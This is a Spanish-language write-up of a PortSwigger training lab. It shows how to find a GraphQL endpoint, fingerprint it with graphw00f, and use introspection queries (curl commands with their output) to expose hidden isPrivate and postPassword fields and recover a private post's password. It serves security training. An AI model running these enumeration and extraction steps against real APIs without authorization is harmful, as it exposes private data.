GraphQL API Vulnerabilities Lab 1
Skills
- Accessing private GraphQL posts
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
La página del blog
para este laboratorio
contiene una entrada oculta
que tiene una contraseña secreta
. Para resolver
el laboratorio
, debemos encontrar
la entrada oculta
del blog
e introducir
la contraseña
Resolución
Al acceder
a la web
vemos esto
Los servicios GraphQL
suelen utilizar endpoints
similares a estos. En Hacktricks
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/graphql.html#graphql se nos explica paso por paso la forma en la que debemos enumerar
este servicio
1
2
3
4
5
/graphql
/api
/apigraphql
/graphqlapi
/graphqlgraphql
Si los endpoints
anteriores no devuelven respuesta
podemos añadirles /v1
1
2
3
4
5
/graphql/v1
/api/v1
/apigraphql/v1
/graphqlapi/v1
/graphqlgraphql/v1
Si hacemos una petición
a un endpoint inexistente
obtenemos esta respuesta
1
2
# curl https://0af40067035241d4829e65a9002f00a0.web-security-academy.net/test
"Not Found"
Sin embargo, si hacemos una consulta
a un endpoint
que si que exista
recibiremos un mensaje como "query not present"
o similar
1
2
# curl -X POST https://0af40067035241d4829e65a9002f00a0.web-security-academy.net/graphql/v1 -H "Content-Type: application/json" -d "{}"
"Query not present"
Para comprobar que se trata de GraphQL
podemos usar universal queries
, si el content-type
es x-www-form-urlencoded
podemos usar este payload query{__typename}
y si el content-type
es application/json
, debemos adaptar
el payload
a este otro {"query":"{__typename}"}
. Cuando enviemos
estos payloads
se nos devolverá {"data": {"__typename": "query"}}
en alguna parte de la respuesta
. La consulta funciona porque cada endpoint
de GraphQL
tiene un campo reservado
llamado __typename
que devuelve
el tipo
del objeto consultado
como una cadena
1
2
3
4
5
6
# curl -X POST https://0af40067035241d4829e65a9002f00a0.web-security-academy.net/graphql/v1 -H "Content-Type: application/json" -d '{"query":"{__typename}"}'
{
"data": {
"__typename": "query"
}
}
En la mayoría de casos los endpoints
en GraphQL
solo aceptan peticiones POST
con content-type
de application/json
porque esto ayuda a proteger
contra vulnerabilidades
de CSRF
. Sin embargo, hay ocasiones en las que también acepta otros métodos, para comprobar esto deberíamos bruteforcear
los endpoints
para obtener
que métodos
son válidos
. Puede darse el caso en el que acepte un content-type
de x-www-form-urlencoded
. La forma más sencilla de encontrar endpoints
es observar
las peticiones
. Si recargamos
la página
y capturamos
la petición
vemos que se está empleando GraphQL
Si hacemos click sobre View Post
y capturamos
la petición
también vemos que también se emplea GraphQL
Una vez tenemos la ruta principal /graphql/v1
podemos usar la herramienta graphw00f
https://github.com/dolevf/graphw00f.git para enumerar
el servidor
o motor
que gestiona
y procesa
las consultas
de GraphQL
. Con esta herramienta también podemos hacer fuerza bruta
para identificar
la ruta principal
de GraphQL
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# python main.py -f -t https://0af40067035241d4829e65a9002f00a0.web-security-academy.net/graphql/v1
+-------------------+
| graphw00f |
+-------------------+
*** ***
** **
** **
+--------------+ +--------------+
| Node X | | Node Y |
+--------------+ +--------------+
*** ***
** **
** **
+------------+
| Node Z |
+------------+
graphw00f - v1.1.19
The fingerprinting tool for GraphQL
Dolev Farhi <dolev@lethalbit.com>
[*] Checking if GraphQL is available at https://0af40067035241d4829e65a9002f00a0.web-security-academy.net/graphql/v1...
[*] Attempting to fingerprint...
[*] Discovered GraphQL Engine: (AWS AppSync)
[!] Attack Surface Matrix: https://github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/appsync.md
[!] Technologies:
[!] Homepage: https://aws.amazon.com/appsync
[*] Completed.
Para enumerar información
acerca del esquema
vamos a usar la introspección
. La introspección
es una función integrada
de GraphQL
que permite consultar
un servidor
para obtener información
sobre su esquema
. La introspección
nos ayuda a comprender cómo podemos interactuar
con una API GraphQL
. También puede revelar datos potencialmente confidenciales
, como campos
de descripción
. Para saber si la introspección
está habilitada
podemos usamos esta query
1
2
3
4
5
6
7
8
9
10
# curl -s -X POST https://0aec00ce043258518801ff08004300de.web-security-academy.net/graphql/v1 -H "Content-Type: application/json" -d '{"query":"{__schema{queryType{name}}}"}' | jq
{
"data": {
"__schema": {
"queryType": {
"name": "query"
}
}
}
}
Mediante esta query
podemos extraer
todos los tipos
, sus campos
, sus argumentos
y el tipo
de los argumentos
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
# curl -s -X POST https://0aee00a2035e51b583d7482b001d00d2.web-security-academy.net/graphql/v1 -H "Content-Type: application/json" -d '{"query":"{__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name,kind}}}}}}}"}' | jq
{
"data": {
"__schema": {
"types": [
{
"name": "BlogPost",
"fields": [
{
"name": "id",
"args": []
},
{
"name": "image",
"args": []
},
{
"name": "title",
"args": []
},
{
"name": "author",
"args": []
},
{
"name": "date",
"args": []
},
{
"name": "summary",
"args": []
},
{
"name": "paragraphs",
"args": []
},
{
"name": "isPrivate",
"args": []
},
{
"name": "postPassword",
"args": []
}
]
},
{
"name": "Boolean",
"fields": null
},
{
"name": "Int",
"fields": null
},
{
"name": "String",
"fields": null
},
{
"name": "Timestamp",
"fields": null
},
{
"name": "__Directive",
"fields": [
{
"name": "name",
"args": []
},
{
"name": "description",
"args": []
},
{
"name": "isRepeatable",
"args": []
},
{
"name": "locations",
"args": []
},
{
"name": "args",
"args": [
{
"name": "includeDeprecated",
"description": null,
"type": {
"name": "Boolean",
"kind": "SCALAR",
"ofType": null
}
}
]
}
]
},
{
"name": "__DirectiveLocation",
"fields": null
},
{
"name": "__EnumValue",
"fields": [
{
"name": "name",
"args": []
},
{
"name": "description",
"args": []
},
{
"name": "isDeprecated",
"args": []
},
{
"name": "deprecationReason",
"args": []
}
]
},
{
"name": "__Field",
"fields": [
{
"name": "name",
"args": []
},
{
"name": "description",
"args": []
},
{
"name": "args",
"args": [
{
"name": "includeDeprecated",
"description": null,
"type": {
"name": "Boolean",
"kind": "SCALAR",
"ofType": null
}
}
]
},
{
"name": "type",
"args": []
},
{
"name": "isDeprecated",
"args": []
},
{
"name": "deprecationReason",
"args": []
}
]
},
{
"name": "__InputValue",
"fields": [
{
"name": "name",
"args": []
},
{
"name": "description",
"args": []
},
{
"name": "type",
"args": []
},
{
"name": "defaultValue",
"args": []
},
{
"name": "isDeprecated",
"args": []
},
{
"name": "deprecationReason",
"args": []
}
]
},
{
"name": "__Schema",
"fields": [
{
"name": "description",
"args": []
},
{
"name": "types",
"args": []
},
{
"name": "queryType",
"args": []
},
{
"name": "mutationType",
"args": []
},
{
"name": "directives",
"args": []
},
{
"name": "subscriptionType",
"args": []
}
]
},
{
"name": "__Type",
"fields": [
{
"name": "kind",
"args": []
},
{
"name": "name",
"args": []
},
{
"name": "description",
"args": []
},
{
"name": "fields",
"args": [
{
"name": "includeDeprecated",
"description": null,
"type": {
"name": "Boolean",
"kind": "SCALAR",
"ofType": null
}
}
]
},
{
"name": "interfaces",
"args": []
},
{
"name": "possibleTypes",
"args": []
},
{
"name": "enumValues",
"args": [
{
"name": "includeDeprecated",
"description": null,
"type": {
"name": "Boolean",
"kind": "SCALAR",
"ofType": null
}
}
]
},
{
"name": "inputFields",
"args": [
{
"name": "includeDeprecated",
"description": null,
"type": {
"name": "Boolean",
"kind": "SCALAR",
"ofType": null
}
}
]
},
{
"name": "ofType",
"args": []
},
{
"name": "specifiedByURL",
"args": []
}
]
},
{
"name": "__TypeKind",
"fields": null
},
{
"name": "query",
"fields": [
{
"name": "getBlogPost",
"args": [
{
"name": "id",
"description": null,
"type": {
"name": null,
"kind": "NON_NULL",
"ofType": {
"name": "Int",
"kind": "SCALAR"
}
}
}
]
},
{
"name": "getAllBlogPosts",
"args": []
}
]
}
]
}
}
}
Es interesante saber si se van a mostrar errores
, ya que aportan información útil
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# curl -s -X POST https://0aee00a2035e51b583d7482b001d00d2.web-security-academy.net/graphql/v1 -H "Content-Type: application/json" -d '{"query":"{__schema}"}' | jq
{
"errors": [
{
"extensions": {},
"locations": [
{
"line": 1,
"column": 2
}
],
"message": "Validation error (SubselectionRequired@[__schema]) : Subselection required for type '__Schema!' of field '__schema'"
}
]
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# curl -s -X POST https://0aee00a2035e51b583d7482b001d00d2.web-security-academy.net/graphql/v1 -H "Content-Type: application/json" -d '{"query":"{}"}' | jq
{
"errors": [
{
"locations": [
{
"line": 1,
"column": 2
}
],
"message": "Invalid syntax with offending token '}' at line 1 column 2"
}
]
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# curl -s -X POST https://0aee00a2035e51b583d7482b001d00d2.web-security-academy.net/graphql/v1 -H "Content-Type: application/json" -d '{"query":"{thisdefinitelydoesnotexist}"}' | jq
{
"errors": [
{
"extensions": {},
"locations": [
{
"line": 1,
"column": 2
}
],
"message": "Validation error (FieldUndefined@[thisdefinitelydoesnotexist]) : Field 'thisdefinitelydoesnotexist' in type 'query' is undefined"
}
]
}
Podemos obtener aún más información
realizando una consulta
de introspección completa
sobre el endpoint
, esto se hace para poder obtener
la mayor cantidad
de información posible
del esquema
. Este consulta devuelve detalles completos sobre todas las consultas, mutaciones, suscripciones, tipos y fragmentos
. Si la introspección
está habilitada
pero la consulta no se ejecuta
, debemos eliminar
las directivas onOperation
, onFragment
y onField
de la estructura
de la consulta
, esto se debe a que muchos endpoints no aceptan estas directivas como parte de una consulta de introspección
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#Full introspection query
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
Para realizar
la query anterior
debemos refrescar
la página
, capturar
la petición
con Burpsuite
, borrar
estas tres líneas
porque provocan
un error
, pinchar
sobre la pestaña GraphQL
y pegar
ahí el código
1
2
3
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
Podemos copiar
las respuestas
de las queries
en graphql-visualizer
http://nathanrandal.com/graphql-visualizer/ o en graphql-voyager
https://graphql-kit.com/graphql-voyager/ para ver
los resultados obtenidos
de forma gráfica
. En el caso de graphql-voyager
debemos usar el payload
que hay en la web
. Los campos isPrivate
y postPassword
son interesantes
Recargamos
la página principal
, capturamos
la petición
, nos dirigimos a la pestaña de GraphQL
y añadimos los campos isPrivate
y postPassword
. Al enviar
la petición
nos damos cuenta que solo que falta el post
con id=3
, por lo tanto esto puede indicar que está oculto
Para listar
el artículo oculto
pinchamos sobre View Post
, capturamos
la petición
, nos dirigimos a la pestaña de GraphQL
y añadimos los campos isPrivate
y postPassword
. Obtenemos
la contraseña
que estaba oculta
en el post
Pulsamos en Submit solution
e introducimos
la contraseña
También podemos llevar a cabo todo este proceso de forma automatizada
con la extensión
de Burpsuite InQL
El primer paso es capturar
una petición
, pulsar click derecho
y Generate queries with InQL Scanner
Esto nos enviará
a esta otra pestaña
donde debemos pulsar Analyze
Una vez hecho esto obtendremos
el esquema
en JSON
y las queries
. Podemos copiar
el contenido
del JSON
en https://graphql-kit.com/graphql-voyager/ para poder visualizar
mejor los datos
o podemos directamente hacer las queries
nosotros mismos. Desde consola
podemos usar InQL
https://blog.doyensec.com/2020/03/26/graphql-scanner.html o GQLSpection
https://github.com/doyensec/GQLSpection.git, la herramienta GQLSpection
es la sucesora
de InQL